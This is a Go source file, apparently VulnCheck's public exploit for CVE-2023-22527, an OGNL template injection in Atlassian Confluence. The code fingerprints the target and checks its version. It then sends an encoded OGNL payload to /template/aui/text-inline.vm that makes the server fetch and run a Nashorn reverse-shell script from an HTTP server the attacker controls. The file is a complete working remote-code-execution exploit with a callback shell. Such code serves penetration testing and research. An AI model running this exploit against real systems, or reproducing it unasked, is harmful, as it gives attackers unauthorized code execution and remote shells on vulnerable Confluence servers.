Files
vulncheck-oss-cve-2023-22527/nashorn/cve-2023-22527.go
T
Jacob Baines cb6d691939 Initial commit
2024-03-05 11:57:38 -05:00

161 lines
4.6 KiB
Go

package main
import (
"flag"
"net/http"
"regexp"
"strconv"
"strings"
"time"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/payload"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
)
var (
globalHTTPAddr string
globalHTTPPort int
)
type ConfluenceOGNLExploit struct{}
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return false
}
_, ok = resp.Header["X-Confluence-Request-Time"]
if !ok {
return false
}
_, ok = resp.Header["Set-Cookie"]
if !ok {
return false
}
return strings.Contains(body, "confluence-context-path")
}
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", url, "")
if !ok {
return exploit.Unknown
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return exploit.Unknown
}
if !strings.Contains(bodyString, "Atlassian Confluence") {
output.PrintError("The HTTP response did not contain the expected Atlassian branding.")
return exploit.Unknown
}
re := regexp.MustCompile("<span id='footer-build-information'>([0-9a-zA-Z.]+)</span>")
res := re.FindAllStringSubmatch(bodyString, -1)
if len(res) == 0 {
output.PrintError("Failed to extract the footer build information")
return exploit.Unknown
}
version := res[0][1]
output.PrintVersion("The self-reported version is: "+version, conf.Rhost, conf.Rport, version)
versionArray := strings.Split(version, ".")
if len(versionArray) != 3 {
output.PrintfError("Unexpected version number")
return exploit.Unknown
}
major, _ := strconv.Atoi(versionArray[0])
minor, _ := strconv.Atoi(versionArray[1])
point, _ := strconv.Atoi(versionArray[2])
if major != 8 {
return exploit.NotVulnerable
}
switch {
case minor < 5:
return exploit.Vulnerable
case minor == 5 && point <= 3:
return exploit.Vulnerable
default:
}
return exploit.NotVulnerable
}
func httpServerStart() {
_ = http.ListenAndServe(globalHTTPAddr+":"+strconv.Itoa(globalHTTPPort), nil)
}
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
if len(globalHTTPAddr) == 0 {
output.PrintError("The user must specify an address to bind the HTTP server to. Quitting.")
return false
}
// spin up and HTTP server to serve the Nashorn payload
endpoint := "/" + random.RandLetters(12)
http.HandleFunc(endpoint, func(w http.ResponseWriter, r *http.Request) {
output.PrintStatus("Sending payload")
_, _ = w.Write([]byte(payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, conf.C2Type == c2.SSLShellServer)))
})
output.PrintfStatus("HTTP server listening for %s:%d%s", globalHTTPAddr, globalHTTPPort, endpoint)
go httpServerStart()
time.Sleep(2 * time.Second)
// throw the exploit. encoding {} bypasses ET, same with KEY_velocity
unused := random.RandLetters(5)
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
params := map[string]string{
"label": "=" + unused + `\u0027%2b#request\u005b\u0027.K%45Y_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,%7B%7D)%2b\u0027&x=(new javax.script.ScriptEngineManager().getEngineByName('js').eval('load("` + protocol.GenerateURL(globalHTTPAddr, globalHTTPPort, false, endpoint) + `")'))`,
}
output.PrintfStatus("Sending exploit to %s", url)
_, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", url, params)
if ok {
// we expect a context timeout, and ok to be false
output.PrintError("Successful exploitation should trigger a timeout. It's likely the exploit failed.")
return false
}
// Give the exploit a little to fetch the payload
time.Sleep(10 * time.Second)
return true
}
func main() {
flag.StringVar(&globalHTTPAddr, "httpAddr", "", "The address the HTTP server should bind to")
flag.IntVar(&globalHTTPPort, "httpPort", 8080, "The port the HTTP server should bind to")
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
}
conf := config.New(config.CodeExecution, supportedC2, "Confluence", "CVE-2023-22527", 8090)
sploit := ConfluenceOGNLExploit{}
exploit.RunProgram(sploit, conf)
}